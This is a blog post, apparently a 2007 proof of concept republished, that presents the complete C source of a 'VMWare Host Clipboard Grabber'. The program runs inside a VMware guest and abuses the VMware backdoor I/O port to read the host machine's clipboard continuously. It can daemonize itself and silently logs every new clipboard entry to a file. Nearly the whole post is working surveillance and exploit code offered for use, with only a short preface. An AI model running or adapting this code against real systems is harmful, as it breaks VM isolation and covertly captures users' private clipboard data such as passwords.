Back From the Grave: VMWare Host Clipboard Grabber


Another post from the past ( 2007, wow time passes so fast :S ), a proof of concept I made to demonstrate how to grab clipboard data of a host machine from within a VMWare guest machine exploiting a backdoored hardware port the vmware team used to … well, I have no clue :D

Note: The following code is old so probably it’s not working anymore ( if it is, please let me know, it would be funny ).

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/***************************************************************************
* Copyright (C) 2007 by evilsocket *
* *
* *
* Thanks to Ken Kato and Nickolai Zeldovich for the documentation about *
* vmware hardware backdoor system . *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
***************************************************************************/
#include <stdio.h>
#include <time.h>
#include <signal.h>
#include <unistd.h>
#define rEAX(registers) *((unsigned int *)&((registers).eax))
#define rEBX(registers) *((unsigned int *)&((registers).ebx))
#define rECX(registers) *((unsigned int *)&((registers).ecx))
#define rEDX(registers) *((unsigned int *)&((registers).edx))
#define rEBP(registers) *((unsigned int *)&((registers).ebp))
#define rEDI(registers) *((unsigned int *)&((registers).edi))
#define rESI(registers) *((unsigned int *)&((registers).esi))
#define VMWARE_MAGIC 0x564D5868UL
#define VMWARE_CMD_PORT 0x5658
#define VMCMD_GET_VERSION 0x0a
#define VMCMD_GET_CLIPLEN 0x06
#define VMCMD_GET_CLIPDATA 0x07
typedef struct _reg {
unsigned char eax[4];
unsigned char ebx[4];
unsigned char ecx[4];
unsigned char edx[4];
unsigned char ebp[4];
unsigned char edi[4];
unsigned char esi[4];
} reg_t;
void sigsev_handler(int sig);
void backdoor_cmd(reg_t *regs);
int is_virtual();
int read_clipboard( unsigned char **buffer, unsigned int* size );
unsigned short quick_checksum( unsigned char *buffer, unsigned int size );
void log_host_data( char * filename, unsigned char *data, unsigned int size );
void daemonize();
void usage( char *app ){
printf( "Usage : %s <options>\n", app );
printf( "\tOptions : \n" );
printf( "\t\t-o <file> : logs clipboard data to 'file' instead of default one .\n" );
printf( "\t\t-d : daemonzie process .\n\n" );
}
void banner(){
printf( "*************************************************\n"
"*** VMWare Host Clipboard Grabber ***\n"
"*** by evilsocket ***\n"
"*************************************************\n\n" );
}
int main(int argc, char *argv[])
{
banner();
if( is_virtual() == 0 ){
printf( "@ This is not a virtual machine .\n" );
return -1;
}
unsigned char *buffer = NULL;
unsigned int size = 0;
unsigned short csum = 0,
last_csum = 0;
char * outputfile = NULL;
int daemon = 0;
int c;
while( (c = getopt(argc,argv,"o:d")) != -1 ){
switch(c){
case 'o' : outputfile = strdup(optarg); break;
case 'd' : daemon = 1; break;
default :
usage(strdup(argv[0]));
return -1;
}
}
if(daemon){
daemonize();
}
while(1){
buffer = NULL;
size = 0;
read_clipboard(&buffer,&size);
if( size == 0 ){
/* no data to read, continue waiting for incoming clipboard buffers */
}
else if( size > 0xffff ){
/* unexpected size, do nothing */
}
else{
if(buffer){
csum = quick_checksum( buffer, size );
if( csum != last_csum ){
char timestr[0xFF] = {0};
time_t t = time(NULL);
struct tm *local = (struct tm *)localtime(&t);
strftime( timestr, 0xFF, "[%d.%h.%Y %H:%M:%S]", local );
printf( "@ %s : Logging new data .\n", timestr );
log_host_data( outputfile, buffer, size );
last_csum = csum;
}
free(buffer);
}
}
}
return 0;
}
void sigsev_handler(int sig){
printf( "@ This is NOT a virtual machine .\n" );
exit( -1 );
}
void backdoor_cmd(reg_t *regs){
signal( SIGSEGV, sigsev_handler );
asm
(
"pushal\n"
"pushl %%eax\n"
"movl 0x18(%%eax), %%esi\n"
"movl 0x14(%%eax), %%edi\n"
"movl 0x10(%%eax), %%ebp\n"
"movl 0x0c(%%eax), %%edx\n"
"movl 0x08(%%eax), %%ecx\n"
"movl 0x04(%%eax), %%ebx\n"
"movl 0x00(%%eax), %%eax\n"
"inl (%%dx)\n"
"xchgl %%eax, 0x00(%%esp)\n"
"movl %%esi, 0x18(%%eax)\n"
"movl %%edi, 0x14(%%eax)\n"
"movl %%ebp, 0x10(%%eax)\n"
"movl %%edx, 0x0c(%%eax)\n"
"movl %%ecx, 0x08(%%eax)\n"
"movl %%ebx, 0x04(%%eax)\n"
"popl 0x00(%%eax)\n"
"popal\n"
::"a"(regs)
);
}
int is_virtual(){
reg_t regs = {0};
rEAX(regs) = VMWARE_MAGIC;
rEBX(regs) = ~VMWARE_MAGIC;
rECX(regs) = VMCMD_GET_VERSION;
rEDX(regs) = VMWARE_CMD_PORT;
backdoor_cmd(&regs);
if( rEBX(regs) != VMWARE_MAGIC ){
return 0;
}
return 1;
}
int read_clipboard( unsigned char **buffer, unsigned int* size ){
reg_t regs = {0};
unsigned int total;
unsigned char *ptr = NULL;
rEAX(regs) = VMWARE_MAGIC;
rECX(regs) = VMCMD_GET_CLIPLEN;
rEDX(regs) = VMWARE_CMD_PORT;
/* call backdoor command */
backdoor_cmd(&regs);
total = rEAX(regs);
*size = total;
if( total != 0 && total <= 0xffff ){
*buffer = ptr = (unsigned char *)calloc( total + 1, 1 );
do{
memset( &regs, 0, sizeof(regs) );
rEAX(regs) = VMWARE_MAGIC;
rECX(regs) = VMCMD_GET_CLIPDATA;
rEDX(regs) = VMWARE_CMD_PORT;
/* call backdoor command again to obtain clipboard data */
backdoor_cmd(&regs);
memcpy( ptr, &rEAX(regs), total > 4 ? 4 : total);
ptr += 4;
total -= 4;
}
while( total > 4 );
}
return *size;
}
unsigned short quick_checksum( unsigned char *buffer, unsigned int size ){
long sum = 0;
unsigned short *temp = (unsigned short *)buffer;
while(size > 1){
sum += *temp++;
if(sum & 0x80000000){
sum = (sum & 0xFFFF) + (sum >> 16);
}
size -= 2;
}
if(size){
sum += (unsigned short) *((unsigned char *)temp);
}
while( sum >> 16 ){
sum = (sum & 0xFFFF) + (sum >> 16);
}
return ~sum;
}
void log_host_data( char * filename, unsigned char *data, unsigned int size ){
FILE * fp = fopen( (filename == NULL ? "vmclip.log" : filename), "a+t" );
char timestr[0xFF] = {0};
time_t t = time(NULL);
struct tm *local = (struct tm *)localtime(&t);
strftime( timestr, 0xFF, "[%d.%h.%Y %H:%M:%S] : ", local );
fwrite( timestr, strlen(timestr) + 1, 1, fp );
fwrite( data, size, 1, fp );
fwrite( "\n", 1, 1, fp );
fclose(fp);
}
void daemonize(){
switch(fork()){
case 0 : break;
case -1 :
printf( "@ Error during daemonization .\n" );
exit(-1);
break;
default:
_exit(0);
}
if(setsid() < 0){
exit(-1);
}
switch(fork()){
case 0 : break;
case -1 :
printf( "@ Error during daemonization .\n" );
exit(-1);
break;
default:
_exit(0);
}
}